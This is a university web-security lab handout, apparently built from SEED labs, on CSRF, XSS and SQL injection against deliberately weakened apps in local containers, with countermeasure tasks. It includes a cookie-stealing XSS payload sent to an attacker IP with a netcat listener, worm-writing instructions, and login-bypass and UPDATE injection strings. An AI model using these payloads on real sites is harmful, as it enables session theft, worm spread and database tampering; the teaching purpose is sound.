Application Attack Lab

1 Overview

The objective of this lab is to help students understand the three most common web application vulnerabilities, Cross-Site Request Forgery (CSRF or XSRF) Cross-Site Scripting (XSS), and SQL Injection attacks. This lab will be a team based activity - only one submission per team is required.

Cross Site Request Forgery

A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site while visiting a malicious site. The malicious site injects an HTTP request for the trusted site into the victim user session, causing damages. In this lab, students will be attacking a social networking web application using the CSRF attack. The open-source social networking application called Elgg has countermeasures against CSRF, but we have turned them off for the purpose of this lab.

Cross Site Scripting

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into a victim’s web browser. Using this malicious code, the attackers can steal the victim’s credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting this XSS vulnerability. Vulnerabilities of this kind can potentially lead to large scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg in our pre-built Ubuntu VM image. Elgg is a very popular open-source web application for social networking, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles. In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg, in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list.

SQL Injection

SQL injection is a code injection technique that exploits the vulnerabilities in the interface between web applications and database servers. The vulnerability is present when user’s inputs are not correctly checked within the web application before being sent to the back-end database servers.

Many web applications take inputs from users, and then use these inputs to construct SQL queries, so the web applications can get information from the database. Web applications also use SQL statements to store information in the database. These are common practices in the development of web applications. When SQL statements are not carefully constructed, SQL injection vulnerabilities can occur. The SQL injection attack is one of the most common attacks on web applications.

In this lab, we have created a web application that is vulnerable to SQL injection attack. Our web application includes common mistakes made by many web developers. Your goal is to find ways to exploit the SQL injection vulnerabilities, demonstrate the damage that can be achieved by the attack, and master the techniques that can help defend against such type of attacks.

2 Lab Enviroment

This lab is a consolidation of three different labs from the SEED website, and as such will require that you download three different setup files for the different parts of the lab.

CSRF - https://seedsecuritylabs.org/Labs_20.04/Files/Web_CSRF_Elgg/Labsetup.zip
XSS - https://seedsecuritylabs.org/Labs_20.04/Files/Web_XSS_Elgg/Labsetup.zip
SQLI - https://seedsecuritylabs.org/Labs_20.04/Files/Web_SQL_Injection/Labsetup.zip

2.1 The Elgg Web Application

We will use an open-source web application called Elgg in this lab. Elgg is a web-based social-networking application. We have also created several user accounts on the Elgg server and the credentials are given below.

Username Password
admin seedadmin
alice seedalice
boby seedboby
charlie seedcharlie
samy seedsamy

There are two versions of the application set up, one for the CSRF part of the lab, and one for the XSS part of the lab, but they have the same users and credentials. We use two containers, one running the web server (10.9.0.5) , and the other running the MySQL database (10.9.0.6). The IP addresses for these two containers are hardcoded in various places in the configuration, so please do not change them from the docker-compose.yml file

2.2 Configuring DNS

The following URLs are needed for this lab.

10.9.0.5    www.seed-server.com 
10.9.0.5    www.example32.com 
10.9.0.105  www.attacker32.com

You will need to add these entries to the /etc/hosts file of the VM.

2.3 Web Server Directories

For each part of the lab, there are components that require you to create or edit files on the web server container. The path to the directory where the files are stored on the associated container is listed below.

URL Description Directory
http://www.attacker32.com Attacker web site /var/www/attacker
http://www.seed-server.com/ Elgg web site for CSRF /var/www/elgg
http://www.seed-server.com/ Elgg web site for XSS /var/www/elgg
http://www.seed-server.com/ Employee Management Web App /var/www/SQLInjection/

2.4 Other software

Some of the lab tasks require a basic familiarity with JavaScript, SQL, and PHP. These will be covered in recitation, in class or in examples files and images that will be provided throughout this document.

2.5 MySQL persistence

Containers are usually disposable, so once it is destroyed, all the data inside the containers are lost. For this lab, we do want to keep the data in the MySQL database, so we do not lose our work when we shut down our container. To achieve this, we have mounted the mysql data folder on the host machine (inside Labsetup, it will be created after the MySQL container runs once) to the /var/lib/mysql folder inside the MySQL container. This folder is where MySQL stores its database. Therefore, even if the container is destroyed, data in the database are still kept. If you do want to start from a clean database, you can remove this folder:

$ sudo rm -rf mysql_data

3 Lab Tasks

3.1 CSRF Attack using a GET Request

In this task, we need two people in the Elgg social network: Alice and Boby. Boby wants to become a friend to Alice, but Alice refuses to add Boby to her Elgg friend list. Boby decides to use the CSRF attack to achieve his goal. He sends Alice a URL (via an email or a posting in Elgg); Alice, curious about it, clicks on the URL, which leads her to Boby’s web site: www.attacker32.com/addfriend.html. Pretend that you are Boby, describe how you can construct the content of the web page, so as soon as Alice visits the web page, Boby is added to the friend list of Alice (assuming Alice has an active session with Elgg).

To add a friend to the victim, we need to identify the Add Friend HTTP request, which is a GET request. In this task, you are not allowed to write JavaScript code to launch the CSRF attack. Your job is to make the attack successful as soon as Alice visits the web page, without even clicking on anything in the page (hint: look at the tag, which automatically triggers an HTTP GET request).

Deliverables

In your lab report, include the following:

  1. The source code of the attacking page.
  2. A screenshot showing the attacking page, and one of Elgg showing the success of the attack.

3.2 CSRF Attack using a POST Request

In this task, we need two people in the Elgg social network: Alice and Boby. Alice is one of the developers of the SEED project, and she asks Boby to endorse the SEED project by adding the message "I support the SEED project!" in his Elgg profile, but Boby, who does not like hands-on lab activties, refuses to do so. Alice is very determined, and she wants to try the CSRF attack on Boby. Now, suppose you are Alice, your job is to launch such an attack.

One way to do the attack is to post a message to Boby’s Elgg account, hoping that Boby will click the URL inside the message. This URL will lead Boby to your malicious web site http://www.attacker32.com/editprofile.html, where you can launch the CSRF attack.

The objective of your attack is to modify the victim’s profile. In particular, the attacker needs to forge a request to modify the profile information of the victim user of Elgg. Allowing users to modify their profiles is a feature of Elgg. If users want to modify their profiles, they go to the profile page of Elgg, fill out a form, and then submit the form—sending a POST request—to the server-side script /profile/edit.php, which processes the request and does the profile modification.

The server-side script edit.php accepts both GET and POST requests, so you can use the same trick as that in Task 1 to achieve the attack. However, in this task, you are required to use the POST request. Namely, attackers (you) need to forge an HTTP POST request from the victim’s browser, when the victim is visiting their malicious site. Attackers need to know the structure of such a request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using LiveHTTPHeaders.

After understanding the structure of the request, you need to be able to generate the request from your attacking web page using JavaScript code.

Deliverables

In your lab report, include the following:

  1. The source code of the attacking page.
  2. A screenshot showing the attacking page, and one of Elgg showing the success of the attack.

3.3 CSRF Understanding

Deliverables

In your lab report, include the following:

  1. The forged HTTP request needs Boby’s user id (guid) to work properly. If Alice targets Boby specifically, before the attack, she can find ways to get Boby’s user id. Alice does not know Boby’s Elgg password, so she cannot log into Boby’s account to get the information. Please describe how Alice can find out Boby’s user id.
  2. Alice would like to launch the attack to anybody who visits her malicious web page. In this case, she does not know who is visiting the web page beforehand. Can she still launch the CSRF attack to modify the victim’s Elgg profile? Please explain.

3.4 CSRF Countermeasures

To defend against CSRF attacks, web applications can embed a secret token in their pages. All the requests coming from these pages must carry this token, or they will be considered as a cross-site request, and will not have the same privilege as the same-site requests. Attackers will not be able to get this secret token, so their requests are easily identified as cross-site requests. Elgg uses this secret-token approach as its built-in countermeasure to defend against CSRF attacks. We have disabled the countermeasures to make the attack work. Elgg embeds two parameters elgg ts and elgg token in the request. The two parameters are added to the HTTP message body for the POST requests and to the URL string for the HTTP GET requests. The server will validate them before processing a request.

Embedding secret token and timestamp to web pages. Elgg adds security token and timestamp to all the HTTP requests. The following HTML code is present in all the forms where user action is required. These are two hidden fields; when the form is submitted, these two hidden parameters are added to the request:

<input type = "hidden" name = "__elgg_ts" value = "" />
<input type = "hidden" name = "__elgg_token" value = "" />

Elgg also assigns the values of the security token and timestamp to JavaScript variables, so they can be easily accessed by the JavaScript code on the same page.

elgg.security.token.__elgg_ts; 
elgg.security.token.__elgg_token;

The secret token and timestamp are added to Elgg’s web pages by the vendor/elgg/elgg/views/ default/input/securitytoken.php module. The code snippet below shows how they are dynamically added to web pages.

$ts = time(); 
$token = elgg()->csrf->generateActionToken($ts); 
echo elgg_view(’input/hidden’, [’name’ => ’__elgg_token’, ’value’ => $token]); 
echo elgg_view(’input/hidden’, [’name’ => ’__elgg_ts’, ’value’ => $ts]); 

Secret token generation. Elgg’s security token is a hash value (md5 message digest) of the site secret value (retrieved from database), timestamp, user session ID and random generated session string. The code below shows the secret token generation in Elgg (in vendor/elgg/elgg/engine/classes/Elgg/ Security/Csrf.php).

/** 
 * Generate a token from a session token (specifying the user), 
 * the timestamp, and the site key. */ 


public function generateActionToken($timestamp, $session_token = ’’) {
  if (!$session_token) { 
$session_token = $this->session->get(’__elgg_session’); 
if (!$session_token) { 
    return false; 
} 
  }
  return $this->hmac 
               ->getHmac([(int) $timestamp, $session_token], ’md5’)             
               ->getToken(); 
}
Elgg secret-token validation

Secret token validation. The elgg web application validates the generated token and timestamp to defend against the CSRF attack. Every user action calls the validate function inside Csrf.php, and this function validates the tokens. If tokens are not present or invalid, the action will be denied and the user will be redirected. In our setup, we added a return at the beginning of this function, essentially disabling the validation.

public function validate(Request $request) { 
    return; // Added for SEED Labs (disabling the CSRF countermeasure)    
    $token = $request->getParam(’__elgg_token’); 
    $ts = $request->getParam(’__elgg_ts’); 
     ... (code omitted) ... 
}
Turn on countermeasure

To turn on the countermeasure, get into the Elgg container, go to the /var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security folder, remove the return statement from Csrf.php. A simple editor called nano is available from inside the container.

After making the change, repeat the attack again, and see whether your attack will be successful or not. Please point out the secret tokens in the captured HTTP requests. Please explain why the attacker cannot send these secret tokens in the CSRF attack; what prevents them from finding out the secret tokens from the web page?

It should be noted (important) that when we launch the edit-profile attack while the countermeasure is enabled, the failed attempt will cause the attacker’s page to be reloaded, which will trigger the forged POST request again. This will lead to another failed attempt, so the page will be reloaded again and another forged POST request will be sent out. This endless loop will slow down your computer. Therefore, after verifying that the attack failed, kill the tab to stop the endless loop.

Deliverables

In your lab report, include the following:

  1. Turn on the countermeasure and re-try the attacks from the earlier sections. Include screenshots of the HTTP request including the secret tokens from LiveHTTPHeaders when a valid request is made, and of the screen when the attack is made without the tokens.
  2. Why can’t the attacker send the secret tokens in the CSRF Attack? What prevents them from finding out the secret tokens from the web page?

3.5 XSS : Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

<script>alert('XSS');</script>

If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user who views your profile will see the alert window.

In this case, the JavaScript code is short enough to be typed into the short description field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the src attribute in the <script> tag

<script type="text/javascript"
    src="http://www.example.com/myscripts.js">
</script>

In the above example, the page will fetch the JavaScript program from http://www.example.com, which can be any web server.

Deliverables

In your lab report, include the following:

  1. A screenshot of an ELGG web profile popping up a message that displays the site cookie. Make sure that for this part of the lab, you are using the XSS Labsetup file, and not the CSRF labsetup!

3.6 XSS - Stealing cookies from a victim machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user’s cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an tag with its src attribute set to the attacker’s machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker’s machine. The JavaScript given below sends the cookies to the port 5555 of the attacker’s machine (with IP address 10.1.2.5), where the attacker has a TCP server listening to the same port.

<script>document.write('<img src=http://10.1.2.5:5555?c='
                   + escape(document.cookie) + ' >');
</script>

A commonly used program by attackers is netcat (or nc) , which, if running with the "-l" option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client and sends to the client whatever is typed by the user running the server. Type the command below to listen on port 5555:

$ nc -l 5555 -v 

The -l option is used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host. The -v option is used to have nc give more verbose output. The task can also be done with only one VM instead of two. For one VM, you should replace the attacker’s IP address in the above script with 127.0.0.1. Start a new terminal and then type the nc command above.

Deliverables

In your lab report, include the following:

  1. A screenshot of the cookie from the web page being sent to port 5555 on an attacker machine, captured by the netcat program.

3.7 Writing an XSS worm

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm). First, we will write an XSS worm that does not self-propagate; in the next task, we will make it self-propagating.

In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim’s browser, without the intervention of the attacker. The objective of the attack is to modify the victim’s profile and add Samy as a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is samy).

Guideline 1: Using Ajax

The malicious JavaScript should be able to send an HTTP request to the Elgg server, asking it to modify the current user’s profile. There are two common types of HTTP requests, one is HTTP GET request, and the other is HTTP POST request. These two types of HTTP requests differ in how they send the contents of the request to the server. In Elgg, the request for modifying profile uses HTTP POST request. We can use the XMLHttpRequest object to send HTTP GET and POST requests to web applications.

Guideline 2: Code Skeleton

We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details.

JS XSS Code Skeleton

You may also need to debug your JavaScript code. Firebug is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. It is already installed in our pre-built Ubuntu VM image.

Guideline 3: Getting the user details.

To modify the victims profile the HTTP requests send from the worm should contain the victims username, Guid, elgg ts and elgg token. These details are present in the web page and the worm needs to find out this information using JavaScript code.

Guideline 4: Be careful when dealing with an infected profile.

Sometimes, a profile is already infected by the XSS worm, you may want to leave them alone, instead of modifying them again. If you are not careful, you may end up removing the XSS worm from the profile.

Deliverables

In your lab report, include the following:

  1. The javascript code you use to create the worm.
  2. A screenshot of the results of viewing the infected profile (the victim profile should now say “Samy is my HERO” or something similar), and showing samy added as a friend.

3.8 Writing a self-propagating XSS worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement such a worm, which infects the victim’s profile and adds the user “Samy” as a friend. This worm should NOT impact Samy in any way, if he views an infected profile, including his own.

To achieve self-propagation, when the malicious JavaScript modifies the victim’s profile, it should copy itself to the victim’s profile. One approach to make this happen is using an ID. If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and displays it in an alert window

Self Propagrating XSS Code

Guideline: URL Encoding

All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages sent to Elgg should be encoded using URL encoding. The escape function can be used to URL encode a string. An example of using the encode function is given below

URL Encoding

Under the URL encoding scheme the ”+” symbol is used to denote space. In JavaScript programs, ”+” is used for both arithmetic operations and string operations. To avoid this ambiguity, you may use the concat function for string concatenation, and avoid using addition.

Deliverables

In your lab report, include the following:

  1. The javascript code you use to create the self propagating worm.
  2. A screenshot of the results of viewing the infected profile (the victim profile should now say “Samy is my HERO” or something similar), showing samy added as a friend and the worm code copied into the profile.

3.9 XSS Countermeasures

Elgg does have a built in countermeasures to defend against the XSS attack. We have deactivated and commented out the countermeasures to make the attack work. There is a custom built security plugin HTMLawed 1.9 on the Elgg web application which when activated, validates the user input and removes the tags from the input. This specific plugin is registered to the function filter_tags in the elgg/engine/lib/input.php file.

To turn on the countermeasure, you need to edit /var/www/elgg/vendor/elgg/elgg/engine/lib/input.php. Find the function named filter_tags, and uncomment out the commented line, and comment out the current return statement. Save the file.

function filter_tags($var) { 
// return elgg_trigger_plugin_hook(’validate’, ’input’, null, $var); 
return $var; 
}

In addition to the HTMLawed 1.9 security plugin in Elgg, there is another built-in PHP method called htmlspecialchars(), which is used to encode the special characters in the user input, such as encoding < to &lt;, > to &gt;, etc. Please go to the directory /var/www/Elgg/vendor/elgg/elgg/views/default/output/ and find the function call htmlspecialchars in text.php, url.php, dropdown.php and email.php files. Uncomment the corresponding htmlspecialchars function calls in each file.

Once you know how to turn on these countermeasures, please do the following:

  1. Activate only the HTMLawed 1.9 countermeasure but not htmlspecialchars; visit any of the victim profiles and describe your observations in your report.

  2. Turn on both countermeasures; visit any of the victim profiles and describe your observations in your report.

Note: Please do not change any other code and make sure that there are no syntax errors. Note 2: These countermeasures are input filters - you will need to resubmit the affected profiles for them to be applied.

Deliverables

In your lab report, include the following:

  1. Describe and include a screenshot of what happens with HTMLawed on.
  2. Describe and include a screenshot of what happens with htmlspecialchars uncommented.

3.10 SQL Injection

For the next sections of the lab, you should be using the SQL Injection labsetup files.

There is a web application for this lab, hosted at www.seed-server.com. This web application is a simple employee management application. Employees can view and update their personal information in the database through this web application. There are two primary roles in this web application: Administrator is a privileged role and can manage each individual employees’ profile information; Employee is a normal role and can view or update their own profile information. All employee information is described in the following table.

SQL Injection

3.10 MySQL: MySQL Console

The objective of this task is to get familiar with SQL commands by playing with the provided database. We have created a database called sqllab_users, which contains a table called credential; the table stores the personal information (e.g. eid, password, salary, ssn, etc.) of every employee. In this task, you need to play with the database to get familiar with SQL queries.

Login to MySQL console on the seed-image-mysql-sqli container using the following command:

$ mysql -u root -pdees

After login, you can create new database or load an existing one. As we have already created the Users database for you, you just need to load this existing database using the following command:

mysql> use sqllab_users;

To show what tables are there in the Users database, you can use the following command to print out all the tables of the selected database.

mysql> show tables;

After running the commands above, you need to use a SQL command to print all the profile information of the employee Alice.

Deliverables

In your lab report, include the following:

  1. A screenshot of the profile information of the employee Alice (and only Alice).

3.11 SQL Injection Attack on SELECT Statement

SQL injection is a technique through which attackers can execute their own malicious SQL statements. Through these malicious SQL statements, attackers can steal information from the victim database; even worse, they may be able to make changes to the database. Our employee management web application has SQL injection vulnerabilities, which mimic the mistakes frequently made by developers.

You can go to the entrance page of our web application at www.seed-server.com, where you will be asked to provide Employee ID and Password to log in. The login page is shown in Figure 1.

The authentication is based on Employee ID and Password, so only employees who know their IDs and passwords are allowed to view/update their profile information. Your job, as an attacker, is to log into the application without knowing any employee’s credentials.

SQL Injection on SELECT

To help you get started with this task, we will explain how authentication is implemented in our web application. The PHP code unsafe_home.php, located in the Labsetup/image_www/Code on the container or /var/www/SQLInjection, is used to conduct user authentication. The following code snippet shows how users are authenticated - note that the actual code is a bit more complex, but this gives you the overall idea.

SQL Injection on SELECT 2

The above SQL statement selects personal employee information such as id, name, salary, ssn etc from the credential table. The variables input eid and input_pwd hold the strings typed by users in the login page. Basically, the program checks whether any record matches with the employee ID and password; if there is a match, the user is successfully authenticated, and is given the corresponding employee information. If there is no match, the authentication fails.

SQL Injection Attack from webpage

Your task is to log into the web application as the administrator from the login page, so you can see the information of all the employees. We assume that you do know the administrator’s account name (admin), but you do not know the ID or the password. You need to decide what to type in the Employee ID and Password fields to succeed in the attack.

SQL Injection Attack from command line

Your task is to repeat the previous exploit, but without using the webpage. You can use command line tools, such as curl, which can send HTTP requests. One thing that is worth mentioning is that if you want to include multiple parameters in HTTP requests, you need to put the URL and the parameters between a pair of single quotes; otherwise, the special characters used to separate parameters (such as &) will be interpreted by the shell program, changing the meaning of the command. The following example shows how to send an HTTP GET request to our web application, with two parameters (SUID and Password) attached:

curl 'www.seed-server.com/unsafe_home.php?name=Alice&pwd=111' 

If you need to include special characters in the name and password fields, you need to encode them properly, or they can change the meaning of your requests. If you want to include single quote in those fields, you should use %27 instead; if you want to include white space, you should use %20. In this task, you do need to handle HTTP encoding while sending requests using curl.

Append a new SQL statement

In the above two attacks, we can only steal information from the database; it would be better if we could modify the database using the same vulnerability in the login page. An idea is to use the SQL injection attack to turn one SQL statement into two, with the second one being the update or delete statement. In SQL, semicolon (;) is used to separate two SQL statements.

Please describe how you can use the login page to get the server run two SQL statements. Try the attack to delete a record from the database, and describe your observation.

There is a protection in PHP that prevents this attack from working the way the code is written. You will need to edit the PHP file to make this attack work (see 3.11.4).

Deliverables

In your lab report, include the following:

  1. The values in name and password fields and a screenshot of logging in to the web app as admin.
  2. The curl command used, and a screenshot of the results.
  3. The command used to attempt deletion of a record, and a description of the results. How do you know if the attack is successful or not?
  4. Bonus (3 points) – edit the PHP file to make the multiple command attack successful. Describe the change and provide screenshot evidence of your success.

3.12 SQL Injection Attack on UPDATE Statement

If a SQL injection vulnerability happens to an UPDATE statement, the damage will be more severe, because attackers can use the vulnerability to modify databases. In our Employee Management application, there is an Edit Profile page (Figure 2) that allows employees to update their profile information, including nickname, email, address, phone number, and password. To go to this page, employees need to login first. When employees update their information through the Edit Profile page, the following SQL UPDATE query will be executed. The PHP code implemented in unsafe_edit_backend.php file is used to update employee’s profile information. The PHP file is located in the Labsetup/image_www/Code directory.

SQL Injection on UPDATE

SQL Injection on UPDATE 2

SQL Injection Attack on UPDATE Statement — modify salary

As shown in the Edit Profile page, employees can only update their nicknames, emails, addresses, phone numbers, and passwords; they are not authorized to change their salaries. Only the administrator is allowed to make changes to salaries. If you are a malicious employee (say Alice), your goal in this task is to increase your own salary via this Edit Profile page. We assume that you do know that salaries are stored in a column called salary.

SQL Injection Attack on UPDATE Statement — modify other people’s password

Using the same vulnerability in the above UPDATE statement, malicious employees can also change other people’s data. The goal for this task is to modify another employee’s password, and then demonstrate that you can successfully log into the victim’s account using the new password. The assumption here is that you already know the name of the employee (e.g. Ryan) on whom you want to attack. One thing worth mentioning here is that the database stores the hash value of passwords instead of the plaintext password string. You can again look at the unsafe_edit_backend.php code to see how password is being stored. It uses SHA1 hash function to generate the hash value of password.

To make sure your injection string does not contain any syntax errors, you can test your injection string in the MySQL console before launching the real attack on our web application.

Deliverables

In your lab report, include the following:

  1. The values typed in the form on the edit profile page to modify Alice’s salary, and a screenshot of the salary table showing the change.
  2. The values typed in the form to change Ryan’s password, and a screenshot of you logged in as Ryan with that changed password.

3.13 Countermeasure — Prepared Statements

The fundamental problem of the SQL injection vulnerability is the failure to separate code from data (and where have we heard that before?). When constructing an SQL statement, the program (e.g. PHP program) knows which part is data and which part is code. Unfortunately, when the SQL statement is sent to the database, the boundary has disappeared; the boundaries that the SQL interpreter sees may be different from the original boundaries that were set by the developers.

To solve this problem, it is important to ensure that the view of the boundaries are consistent in the server-side code and in the database. The most secure way is to use prepared statement.

Here is an example of how to write a prepared statement in PHP. We use a SELECT statement in the following example. We then show how to use prepared statement to rewrite the code that is vulnerable to SQL injection attacks.

SQL Prepared Statements

The above code is vulnerable to SQL injection attacks. It can be rewritten to the following

SQL Prepared Statements 2

Using the prepared statement mechanism, we divide the process of sending a SQL statement to the database into two steps. The first step is to only send the code part, i.e., a SQL statement without the actual the data. This is the preparation step. As we can see from the above code snippet, the actual data are replaced by question marks (?).

After this step, we then send the data to the database using bind param(). The database will treat everything sent in this step only as data, not as code anymore. It binds the data to the corresponding question marks of the prepared statement. In the bind param() method, the first argument "is" indicates the types of the parameters: "i" means that the data in $id has the integer type, and "s" means that the data in $pwd has the string type.

For this task, please use the prepared statement mechanism to fix the SQL injection vulnerabilities exploited by you in the previous tasks. Then, check whether you can still exploit the vulnerability or not.

Deliverables

In your lab report, include the following:

  1. In your lab report, include the prepared statement code and a screenshot of the results of running the exploit again with that code for each example in 3.11 and 3.12 (total of 5 examples).

Testing SQL Injection Strings

In real-world applications, it may be hard to check whether your SQL injection attack contains any syntax errors, because usually servers do not return this kind of error message (for good reason!). To conduct your investigation, you can copy the SQL statement from php source code to the MySQL console. Assume you have the following SQL statement, and the injection string is ’ or 1=1; #.

SELECT * from credential 
WHERE name=’$name’ and password=’$pwd’; 

You can replace the value of $name with the injection string and test it using the MySQL console. This approach can help you to construct a syntax-error free injection string before launching the real injection attack.

4 Submission

You will need to submit a written lab report through UBLearns, containing all of the deliverable elements above, by 8PM on Wednesday. You are encouraged to explore beyond what is required by the lab.

5 Scoring

Deliverables Points
3.1.1 3
3.1.2 3
3.2.1 3
3.2.2 3
3.3.1 3
3.3.2 3
3.4.1 3
3.4.2 3
3.5.1 3
3.6.1 3
3.7.1 3
3.7.2 3
3.8.1 9
3.8.2 9
3.9.1 3
3.9.2 3
3.10.1 3
3.11.1 3
3.11.2 3
3.11.3 3
3.12.1 3
3.12.2 3
3.13.1 3
3.13.2 3
3.13.3 3
3.13.4 3
3.13.5 3
Total 93